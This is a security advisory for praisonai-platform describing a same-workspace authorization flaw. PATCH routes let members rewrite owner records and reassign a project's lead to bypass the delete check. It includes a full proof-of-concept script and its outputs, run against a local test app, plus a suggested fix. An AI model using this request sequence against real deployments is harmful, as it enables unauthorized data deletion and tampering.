GHSA-C78W-2Q4R-68R7

Vulnerability from github – Published: 2026-10-08 22:01 – Updated: 2026-10-08 22:01
VLAI
Summary
PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
Details

Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass

Summary

praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch lead_id to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.

Technical Details

The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". src/praisonai-platform/praisonai_platform/api/deps.py defines require_workspace_member, require_workspace_admin, require_workspace_owner, and require_delete_permission. require_workspace_member only checks that the caller has at least the member role in the workspace, while require_delete_permission allows delete only for workspace admins/owners or the resource owner.

The project update route in src/praisonai-platform/praisonai_platform/api/routes/projects.py defines PATCH /workspaces/{workspace_id}/projects/{project_id} with user: AuthIdentity = Depends(require_workspace_member). It passes title, description, status, lead_type, and lead_id into ProjectService.update. src/praisonai-platform/praisonai_platform/services/project_service.py then writes project.lead_id = lead_id when supplied. The paired project delete route first loads the project and calls require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id). This means an ordinary member can mutate the ownership field that the delete route later trusts.

The same update/delete asymmetry exists for issues and agents. src/praisonai-platform/praisonai_platform/api/routes/issues.py defines PATCH /workspaces/{workspace_id}/issues/{issue_id} with only require_workspace_member, validates referenced ids are in the workspace, then calls IssueService.update to write fields including title, description, status, priority, assignee_id, and project_id. The paired delete route checks resource_owner_id=issue.creator_id. src/praisonai-platform/praisonai_platform/api/routes/agents.py defines PATCH /workspaces/{workspace_id}/agents/{agent_id} with only require_workspace_member and calls AgentService.update to write fields including instructions, runtime_mode, and runtime_config; the paired delete route checks resource_owner_id=agent.owner_id.

The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.

PoV

the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.

Essential excerpt:

direct_delete_project = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    headers=member_headers,
)

patch_project = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    json={
        "title": "Member-controlled project",
        "status": "active",
        "lead_type": "member",
        "lead_id": member_id,
    },
    headers=member_headers,
)

delete_project_after_takeover = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    headers=member_headers,
)

patch_issue = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
    json={"title": "Member rewrote owner issue", "status": "done"},
    headers=member_headers,
)

patch_agent = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
    json={"instructions": "member-controlled instructions", "status": "idle"},
    headers=member_headers,
)

outsider_patch_issue = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
    json={"title": "outsider attempt"},
    headers=outsider_headers,
)

The full PoV script is included in the appendix below as pov_platform_member_update_bypass.py.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json

Decisive current-head output:

{
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "workspace_role": "member",
  "checks": {
    "member_direct_project_delete_before_patch": 403,
    "member_project_patch_lead_to_self": 200,
    "member_project_delete_after_lead_takeover": 204,
    "owner_get_project_after_member_delete": 404,
    "member_issue_patch": 200,
    "owner_observes_member_issue_title": "Member rewrote owner issue",
    "member_issue_delete_after_patch": 403,
    "member_agent_patch": 200,
    "owner_observes_member_agent_instructions": "member-controlled instructions",
    "member_agent_delete_after_patch": 403,
    "non_member_issue_patch": 403
  },
  "vulnerable": true
}

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json

Decisive latest-PyPI output:

{
  "source": "pypi:praisonai-platform==0.1.8",
  "workspace_role": "member",
  "checks": {
    "member_direct_project_delete_before_patch": 403,
    "member_project_patch_lead_to_self": 200,
    "member_project_delete_after_lead_takeover": 204,
    "owner_get_project_after_member_delete": 404,
    "member_issue_patch": 200,
    "owner_observes_member_issue_title": "Member rewrote owner issue",
    "member_issue_delete_after_patch": 403,
    "member_agent_patch": 200,
    "owner_observes_member_agent_instructions": "member-controlled instructions",
    "member_agent_delete_after_patch": 403,
    "non_member_issue_patch": 403
  },
  "vulnerable": true
}

Version sweep excerpt:

praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.
praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.

Impact

An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning lead_id through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.

Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L (7.1). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.

Suggested Fix

Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a require_update_permission helper that allows workspace admins/owners and the relevant resource owner only.

For projects, do not let an ordinary member set lead_id on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.

Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project lead_id to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives 403.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner/admin update authorization gap is confirmed in sampled versions 0.1.4, 0.1.6, 0.1.8, and current head. The specific project delete-guard bypass through lead_id reassignment is confirmed in 0.1.6, 0.1.8, and current head. In 0.1.4, direct member deletes already returned 204, so the lead-reassignment chain is masked by a broader older delete issue.

Suggested affected range for the update authorization gap: pypi:praisonai-platform >=0.1.4, <=0.1.8. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project lead_id delete-guard bypass.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with 403, then PATCH succeeds, then DELETE succeeds only after lead_id is reassigned through the update route.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.

GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning 403.

References

  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7
  • https://cwe.mitre.org/data/definitions/862.html
  • https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

=== praisonai-platform 0.1.4 ===
"member_direct_project_delete_before_patch": 204
"member_project_patch_lead_to_self": 404
"member_issue_patch": 200
"member_agent_patch": 200
"member_issue_delete_after_patch": 204
"member_agent_delete_after_patch": 204
"non_member_issue_patch": 403

=== praisonai-platform 0.1.6 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403

=== praisonai-platform 0.1.8 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403

Appendix B - Full PoV Script

Save this as pov_platform_member_update_bypass.py before running the PoC commands above.

#!/usr/bin/env python3
"""PoV for PraisonAI Platform same-workspace member update bypass."""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import sys
from pathlib import Path
from typing import Any


def _load_local_source(repo: Path | None) -> None:
    if repo is None:
        return
    platform_root = repo / "src" / "praisonai-platform"
    agents_root = repo / "src" / "praisonai-agents"
    for path in (str(platform_root), str(agents_root)):
        if path not in sys.path:
            sys.path.insert(0, path)


async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
    response = await client.post(
        "/api/v1/auth/register",
        json={"email": email, "password": "Password1!", "name": name},
    )
    if response.status_code >= 400:
        raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}")
    body = response.json()
    return body["token"], body["user"]["id"]


async def _run(repo: Path | None) -> dict[str, Any]:
    os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
    _load_local_source(repo)

    from httpx import ASGITransport, AsyncClient
    from sqlalchemy.ext.asyncio import create_async_engine

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db import base as base_mod
    from praisonai_platform.db.base import Base, reset_engine

    await reset_engine()
    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )
    base_mod._engine = engine
    base_mod._session_factory = None
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
        owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
        member_token, member_id = await _register(client, "member@example.com", "Member")
        outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")

        owner_headers = {"Authorization": f"Bearer {owner_token}"}
        member_headers = {"Authorization": f"Bearer {member_token}"}
        outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

        ws_resp = await client.post(
            "/api/v1/workspaces/",
            json={"name": "Shared Workspace", "slug": "shared-workspace"},
            headers=owner_headers,
        )
        ws_resp.raise_for_status()
        workspace_id = ws_resp.json()["id"]

        add_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={"user_id": member_id, "role": "member"},
            headers=owner_headers,
        )
        add_member.raise_for_status()

        project_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/projects/",
            json={
                "title": "Owner project",
                "description": "Owned by the workspace owner",
                "lead_type": "member",
                "lead_id": owner_id,
            },
            headers=owner_headers,
        )
        project_resp.raise_for_status()
        project_id = project_resp.json()["id"]

        direct_delete_project = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=member_headers,
        )

        patch_project = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            json={
                "title": "Member-controlled project",
                "status": "active",
                "lead_type": "member",
                "lead_id": member_id,
            },
            headers=member_headers,
        )

        delete_project_after_takeover = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=member_headers,
        )
        owner_get_deleted_project = await client.get(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=owner_headers,
        )

        issue_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/",
            json={"title": "Owner issue", "priority": "high"},
            headers=owner_headers,
        )
        issue_resp.raise_for_status()
        issue_id = issue_resp.json()["id"]

        patch_issue = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            json={"title": "Member rewrote owner issue", "status": "done"},
            headers=member_headers,
        )
        owner_get_issue = await client.get(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            headers=owner_headers,
        )
        delete_issue = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            headers=member_headers,
        )

        agent_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/agents/",
            json={"name": "OwnerAgent", "instructions": "owner-only instructions"},
            headers=owner_headers,
        )
        agent_resp.raise_for_status()
        agent_id = agent_resp.json()["id"]

        patch_agent = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            json={"instructions": "member-controlled instructions", "status": "idle"},
            headers=member_headers,
        )
        owner_get_agent = await client.get(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            headers=owner_headers,
        )
        delete_agent = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            headers=member_headers,
        )

        outsider_patch_issue = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            json={"title": "outsider attempt"},
            headers=outsider_headers,
        )

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}
    owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}
    patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}

    checks = {
        "member_direct_project_delete_before_patch": direct_delete_project.status_code,
        "member_project_patch_lead_to_self": patch_project.status_code,
        "member_project_delete_after_lead_takeover": delete_project_after_takeover.status_code,
        "owner_get_project_after_member_delete": owner_get_deleted_project.status_code,
        "member_issue_patch": patch_issue.status_code,
        "owner_observes_member_issue_title": owner_issue_body.get("title"),
        "member_issue_delete_after_patch": delete_issue.status_code,
        "member_agent_patch": patch_agent.status_code,
        "owner_observes_member_agent_instructions": owner_agent_body.get("instructions"),
        "member_agent_delete_after_patch": delete_agent.status_code,
        "non_member_issue_patch": outsider_patch_issue.status_code,
    }
    vulnerable = (
        checks["member_direct_project_delete_before_patch"] == 403
        and checks["member_project_patch_lead_to_self"] == 200
        and patch_project_body.get("lead_id") == member_id
        and checks["member_project_delete_after_lead_takeover"] == 204
        and checks["owner_get_project_after_member_delete"] == 404
        and checks["member_issue_patch"] == 200
        and checks["owner_observes_member_issue_title"] == "Member rewrote owner issue"
        and checks["member_issue_delete_after_patch"] == 403
        and checks["member_agent_patch"] == 200
        and checks["owner_observes_member_agent_instructions"] == "member-controlled instructions"
        and checks["member_agent_delete_after_patch"] == 403
        and checks["non_member_issue_patch"] == 403
    )
    return {
        "package": "praisonai-platform",
        "source": _source_id(repo),
        "workspace_role": "member",
        "summary": "A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.",
        "checks": checks,
        "vulnerable": vulnerable,
    }


def _source_id(repo: Path | None) -> str:
    if repo is None:
        import importlib.metadata

        return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
    import subprocess

    rev = subprocess.check_output(
        ["git", "-C", str(repo), "rev-parse", "HEAD"],
        text=True,
    ).strip()
    return f"git:{rev}"


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--repo", type=Path)
    parser.add_argument("--json", action="store_true")
    args = parser.parse_args()

    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
    if args.json:
        print(json.dumps(result, indent=2, sort_keys=True))
    else:
        for key, value in result["checks"].items():
            print(f"{key}: {value}")
        print(f"vulnerable: {result['vulnerable']}")
    return 0 if result["vulnerable"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:01:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment.\n\n## Technical Details\n\nThe affected boundary is the difference between \"is a workspace member\" and \"owns or administers this resource\". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner.\n\nThe project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts.\n\nThe same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`.\n\nThe intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.\n\n## PoV\n\nthe PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner\u0027s workspace, then exercises the project, issue, and agent routes without touching any live service.\n\nEssential excerpt:\n\n```python\ndirect_delete_project = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    headers=member_headers,\n)\n\npatch_project = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    json={\n        \"title\": \"Member-controlled project\",\n        \"status\": \"active\",\n        \"lead_type\": \"member\",\n        \"lead_id\": member_id,\n    },\n    headers=member_headers,\n)\n\ndelete_project_after_takeover = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    headers=member_headers,\n)\n\npatch_issue = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n    json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n    headers=member_headers,\n)\n\npatch_agent = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n    json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n    headers=member_headers,\n)\n\noutsider_patch_issue = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n    json={\"title\": \"outsider attempt\"},\n    headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17T20:13:04+01:00\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"workspace_role\": \"member\",\n  \"checks\": {\n    \"member_direct_project_delete_before_patch\": 403,\n    \"member_project_patch_lead_to_self\": 200,\n    \"member_project_delete_after_lead_takeover\": 204,\n    \"owner_get_project_after_member_delete\": 404,\n    \"member_issue_patch\": 200,\n    \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n    \"member_issue_delete_after_patch\": 403,\n    \"member_agent_patch\": 200,\n    \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n    \"member_agent_delete_after_patch\": 403,\n    \"non_member_issue_patch\": 403\n  },\n  \"vulnerable\": true\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"workspace_role\": \"member\",\n  \"checks\": {\n    \"member_direct_project_delete_before_patch\": 403,\n    \"member_project_patch_lead_to_self\": 200,\n    \"member_project_delete_after_lead_takeover\": 204,\n    \"owner_get_project_after_member_delete\": 404,\n    \"member_issue_patch\": 200,\n    \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n    \"member_issue_delete_after_patch\": 403,\n    \"member_agent_patch\": 200,\n    \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n    \"member_agent_delete_after_patch\": 403,\n    \"non_member_issue_patch\": 403\n  },\n  \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.\npraisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\npraisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\n```\n\n## Impact\n\nAn ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.\n\n## Suggested Fix\n\nApply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route\u0027s owner/admin check for PATCH routes, or introduce a `require_update_permission` helper that allows workspace admins/owners and the relevant resource owner only.\n\nFor projects, do not let an ordinary member set `lead_id` on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.\n\nAdd regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project `lead_id` to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives `403`.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner/admin update authorization gap is confirmed in sampled versions `0.1.4`, `0.1.6`, `0.1.8`, and current head. The specific project delete-guard bypass through `lead_id` reassignment is confirmed in `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member deletes already returned `204`, so the lead-reassignment chain is masked by a broader older delete issue.\n\nSuggested affected range for the update authorization gap: `pypi:praisonai-platform \u003e=0.1.4, \u003c=0.1.8`. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project `lead_id` delete-guard bypass.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with `403`, then PATCH succeeds, then DELETE succeeds only after `lead_id` is reassigned through the update route.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.\n\n`GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning `403`.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_direct_project_delete_before_patch\": 204\n\"member_project_patch_lead_to_self\": 404\n\"member_issue_patch\": 200\n\"member_agent_patch\": 200\n\"member_issue_delete_after_patch\": 204\n\"member_agent_delete_after_patch\": 204\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.6 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.8 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_member_update_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform same-workspace member update bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n    if repo is 